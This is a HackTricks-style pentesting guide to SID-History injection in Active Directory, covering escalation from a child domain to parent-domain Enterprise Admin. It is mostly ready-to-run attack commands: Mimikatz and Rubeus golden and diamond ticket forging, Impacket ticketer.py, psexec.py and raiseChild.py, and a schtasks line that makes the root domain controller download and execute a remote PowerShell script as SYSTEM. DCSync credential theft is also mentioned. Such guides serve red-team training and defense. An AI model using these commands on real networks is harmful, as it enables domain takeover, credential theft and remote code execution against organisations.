Skip to content

Latest commit

 

History

History
168 lines (117 loc) · 9.05 KB

sid-history-injection.md

File metadata and controls

168 lines (117 loc) · 9.05 KB

SID-History Injection

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Attack

SID History was designed to support migration scenarios, where a user would be moved from one domain to another. To preserve access to resources in the "old" domain, the user's previous SID would be added to the SID History of their new account. So when creating such a ticket, the SID of a privileged group (EAs, DAs, etc) in the parent domain can be added that will grant access to all resources in the parent.

This can be achieved using either a Golden or Diamond Ticket.

For finding the SID of the "Enterprise Admins" group you can find the SID of the root domain and set it in S-1-5-21-<root domain>-519. For example, from root domain SID S-1-5-21-280534878-1496970234-700767426 the "Enterprise Admins" group SID is S-1-5-21-280534878-1496970234-700767426-519

You could also use the Domain Admins groups, which ends in 512.

Another way yo find the SID of a group of the other domain (for example "Domain Admins") is with:

Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid

Golden Ticket (Mimikatz) with KRBTGT-AES256

{% code overflow="wrap" %}

mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit"

/user is the username to impersonate (could be anything)
/domain is the current domain.
/sid is the current domain SID.
/sids is the SID of the target group to add ourselves to.
/aes256 is the AES256 key of the current domain's krbtgt account.
--> You could also use /krbtgt:<HTML of krbtgt> instead of the "/aes256" option
/startoffset sets the start time of the ticket to 10 mins before the current time.
/endin sets the expiry date for the ticket to 60 mins.
/renewmax sets how long the ticket can be valid for if renewed.

# The previous command will generate a file called ticket.kirbi
# Just loading you can perform a dcsync attack agains the domain

{% endcode %}

For more info about golden tickets check:

{% content-ref url="golden-ticket.md" %} golden-ticket.md {% endcontent-ref %}

Diamond Ticket (Rubeus + KRBTGT-AES256)

{% code overflow="wrap" %}

# Use the /sids param
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap

# Or a ptt with a golden ticket
Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid>  /sids:<parent_domain_sid>-519 /user:Administrator /ptt

# You can use "Administrator" as username or any other string

{% endcode %}

For more info about diamond tickets check:

{% content-ref url="diamond-ticket.md" %} diamond-ticket.md {% endcontent-ref %}

{% code overflow="wrap" %}

.\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local 
.\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi
ls \\mcorp-dc.moneycorp.local\c$

{% endcode %}

Escalate to DA of root or Enterprise admin using the KRBTGT hash of the compromised domain:

{% code overflow="wrap" %}

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'

Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"'

gwmi -class win32_operatingsystem -ComputerName mcorpdc.moneycorp.local

schtasks /create /S mcorp-dc.moneycorp.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "STCheck114" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"

schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"

{% endcode %}

With the acquired permissions from the attack you can execute for example a DCSync attack in the new domain:

{% content-ref url="dcsync.md" %} dcsync.md {% endcontent-ref %}

From linux

Manual with ticketer.py

{% code overflow="wrap" %}

# This is for an attack from child to root domain
# Get child domain SID
lookupsid.py <child_domain>/[email protected] | grep "Domain SID"
# Get root domain SID
lookupsid.py <child_domain>/[email protected] | grep -B20 "Enterprise Admins" | grep "Domain SID"

# Generate golden ticket
ticketer.py -nthash <krbtgt_hash> -domain <child_domain> -domain-sid <child_domain_sid> -extra-sid <root_domain_sid> Administrator

# NOTE THAT THE USERNAME ADMINISTRATOR COULD BE ACTUALLY ANYTHING
# JUST USE THE SAME USERNAME IN THE NEXT STEPS

# Load ticket
export KRB5CCNAME=hacker.ccache 

# psexec in domain controller of root
psexec.py <child_domain>/[email protected] -k -no-pass -target-ip 10.10.10.10

{% endcode %}

Automatic using raiseChild.py

This is an Impacket script which will automate escalating from child to parent domain. The script needs:

  • Target domain controller
  • Creds for an admin user in the child domain

The flow is:

  • Obtains the SID for the Enterprise Admins group of the parent domain
  • Retrieves the hash for the KRBTGT account in the child domain
  • Creates a Golden Ticket
  • Logs into the parent domain
  • Retrieves credentials for the Administrator account in the parent domain
  • If the target-exec switch is specified, it authenticates to the parent domain's Domain Controller via Psexec.
raiseChild.py -target-exec 10.10.10.10 <child_domain>/username

References

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥